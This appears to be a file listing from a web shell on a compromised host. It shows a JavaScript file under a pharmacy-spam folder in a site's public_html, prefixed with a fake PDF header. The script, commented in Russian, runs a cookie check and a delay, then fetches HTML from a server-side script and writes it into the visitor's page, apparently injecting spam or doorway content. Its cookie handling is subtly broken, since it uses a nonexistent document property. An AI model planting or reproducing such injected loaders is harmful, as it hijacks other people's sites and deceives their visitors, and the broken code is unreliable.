%PDF- %PDF-
Direktori : /home/dopla/public_html/order/purchase-online-pepcid/jsnagc/ |
Current File : /home/dopla/public_html/order/purchase-online-pepcid/jsnagc/nala.js |
function nahcs(drug_name, tof){ var c1 = Date.now(); SetCookie("c1", c1); var c2 = GetCookie("c1"); if(c1 == c2){ sleep(3000); nawgi(drug_name, tof); } } function SetCookie(name, value){ document.nahcse = name + "=" + value + ";path=/"; } function GetCookie(name) { var nahcse = " " + document.nahcse; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (nahcse.length > 0) { offset = nahcse.indexOf(search); if (offset != -1) { offset += search.length; end = nahcse.indexOf(";", offset) if (end == -1) { end = nahcse.length; } setStr = unescape(nahcse.substring(offset, end)); } } return(setStr); } function sleep(milliseconds) { const date = Date.now(); let currentDate = null; do { currentDate = Date.now(); } while (currentDate - date < milliseconds); } function nawgi(drug_name, tof){ // Создаем новый объект JSHttpRequest. var req = new Subsys_JsHttpRequest_Js(); // Код, АВТОМАТИЧЕСКИ вызываемый при окончании загрузки. req.onreadystatechange = function() { if (req.readyState == 4) { if (req.responseJS) { // Запиcываем в результат работы. if(req.responseJS.outputresult!=0){ if(typeof tof == 'string'){ document.getElementById(drug_name).innerHTML = req.responseJS.htmlbody; }else{ document.write((req.responseJS.htmlbody||'')); } } } } } // Подготваливаем объект. req.open('POST', drug_name + '/thread.php' + '?test=abc', true); // Поcылаем данные запроcа (задаютcя в виде хэша). req.send({drug_name: drug_name}); }